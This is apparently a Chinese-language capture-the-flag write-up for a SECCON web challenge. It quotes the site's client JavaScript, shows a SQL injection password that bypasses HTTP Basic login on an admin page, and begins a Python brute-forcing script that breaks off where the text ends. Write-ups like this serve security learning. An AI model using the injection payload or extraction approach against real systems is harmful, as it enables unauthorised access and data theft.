做了国外的题才发现差的有多远。。。还是太菜了。。。
web100 basiq
看了看源码请求什么的,发现这道题是通过js请求CGI拿数据,没有什么大问题,然后看看js,有个client.js
,跟进看看login啊之类的函数
function login(message){
if(message.status!=='OK'){
alert(message.error);
return;
}
loginuser = message.data;
$.getJSON('keiba.cgi?action=expenditure', expenditure);
var links = [{label:'Race Information',href:'/'},{label:'My Page',href:'/mypage.cgi'}];
if(loginuser == 'admin'){
links.push({label:'Admin', href:'/admin/'});
}
$('div.login').text('[ ');
for(var i=0; i<links.length; i++){
if(i>0){
$('div.login').append(document.createTextNode(' | '))
}
$('div.login')
.append($('<a>')
.attr('href',links[i].href)
.text(links[i].label));
}
$('div.login').append(document.createTextNode(' ] '));
..................
..................
..................
发现了一个admin
页面,访问下,发现需要用户名和密码,也就是说这里是唯一一处不通过CGI的地方,那么便猜想是不是这里存在注入。
输入用户名admin
,密码1' or 1=1 -- a
。
果然成功登陆进去了,抓个包看看是个BASIC认证,那么就可以写脚本爆破了。
然后我先写了个脚本如下:
import requests
import base64
url="http://basiq.pwn.seccon.jp/admin/"
r=requests.session()
ans=""
header={
'Host': 'basiq.pwn.seccon.jp',
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
}
for i in xrange(1,100):
start=33
end=